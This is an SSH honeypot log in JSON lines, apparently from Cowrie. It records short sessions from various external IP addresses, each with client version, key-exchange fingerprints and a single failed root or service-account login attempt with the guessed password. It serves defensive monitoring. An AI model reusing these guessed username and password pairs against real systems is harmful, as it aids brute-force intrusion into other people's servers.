{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:29.380553Z","src_ip":"103.153.68.219","session":"ef83e08db6f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"207660a","message":"login attempt [root/207660a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:30.126547Z","src_ip":"103.153.68.219","session":"ef83e08db6f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:31.378811Z","src_ip":"103.153.68.219","session":"ef83e08db6f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":59150,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2b547c7681b","protocol":"ssh","message":"New connection: 37.233.85.71:59150 (10.17.0.5:22) [session: e2b547c7681b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:31.582611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:31.586793Z","src_ip":"37.233.85.71","session":"e2b547c7681b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:31.699200Z","src_ip":"37.233.85.71","session":"e2b547c7681b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1234","message":"login attempt [root/dima1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:32.028093Z","src_ip":"37.233.85.71","session":"e2b547c7681b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:33.140546Z","src_ip":"37.233.85.71","session":"e2b547c7681b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":57418,"dst_ip":"159.203.135.109","dst_port":22,"session":"063e0f02eeeb","protocol":"ssh","message":"New connection: 43.130.16.4:57418 (159.203.135.109:22) [session: 063e0f02eeeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:33.162838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:33.165973Z","src_ip":"43.130.16.4","session":"063e0f02eeeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:33.234225Z","src_ip":"43.130.16.4","session":"063e0f02eeeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234Aa","message":"login attempt [root/Aa1234Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:33.540451Z","src_ip":"43.130.16.4","session":"063e0f02eeeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:34.611718Z","src_ip":"43.130.16.4","session":"063e0f02eeeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41658,"dst_ip":"159.203.135.109","dst_port":22,"session":"66c48e614367","protocol":"ssh","message":"New connection: 2.57.122.238:41658 (159.203.135.109:22) [session: 66c48e614367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:35.079375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:35.084044Z","src_ip":"2.57.122.238","session":"66c48e614367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:35.191561Z","src_ip":"2.57.122.238","session":"66c48e614367","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:35.503524Z","src_ip":"2.57.122.238","session":"66c48e614367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:36.609430Z","src_ip":"2.57.122.238","session":"66c48e614367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":37912,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c35c8fe8c8e","protocol":"ssh","message":"New connection: 80.66.85.226:37912 (10.17.0.5:22) [session: 7c35c8fe8c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:47.095077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:47.098261Z","src_ip":"80.66.85.226","session":"7c35c8fe8c8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:47.191200Z","src_ip":"80.66.85.226","session":"7c35c8fe8c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"faraon","message":"login attempt [root/faraon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:47.474893Z","src_ip":"80.66.85.226","session":"7c35c8fe8c8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:48.570997Z","src_ip":"80.66.85.226","session":"7c35c8fe8c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":53098,"dst_ip":"159.203.135.109","dst_port":22,"session":"49dd5b049eb7","protocol":"ssh","message":"New connection: 43.134.27.11:53098 (159.203.135.109:22) [session: 49dd5b049eb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:49.359650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:49.363330Z","src_ip":"43.134.27.11","session":"49dd5b049eb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:49.603980Z","src_ip":"43.134.27.11","session":"49dd5b049eb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mail","message":"login attempt [root/mail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:50.585246Z","src_ip":"43.134.27.11","session":"49dd5b049eb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:51.824084Z","src_ip":"43.134.27.11","session":"49dd5b049eb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":57116,"dst_ip":"159.203.135.109","dst_port":22,"session":"005963f99d00","protocol":"ssh","message":"New connection: 43.153.39.191:57116 (159.203.135.109:22) [session: 005963f99d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:55.669361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:55.673636Z","src_ip":"43.153.39.191","session":"005963f99d00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:55.742584Z","src_ip":"43.153.39.191","session":"005963f99d00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:56.048397Z","src_ip":"43.153.39.191","session":"005963f99d00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:57.120055Z","src_ip":"43.153.39.191","session":"005963f99d00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":35240,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5a4ea07fbbd","protocol":"ssh","message":"New connection: 43.173.89.56:35240 (159.203.135.109:22) [session: c5a4ea07fbbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:58.109959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:58.118662Z","src_ip":"43.173.89.56","session":"c5a4ea07fbbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:58.186534Z","src_ip":"43.173.89.56","session":"c5a4ea07fbbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:58.491613Z","src_ip":"43.173.89.56","session":"c5a4ea07fbbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:36:59.562613Z","src_ip":"43.173.89.56","session":"c5a4ea07fbbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":38940,"dst_ip":"159.203.135.109","dst_port":22,"session":"f09b63964e8a","protocol":"ssh","message":"New connection: 181.47.9.103:38940 (159.203.135.109:22) [session: f09b63964e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:37:20.659355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:37:20.664217Z","src_ip":"181.47.9.103","session":"f09b63964e8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 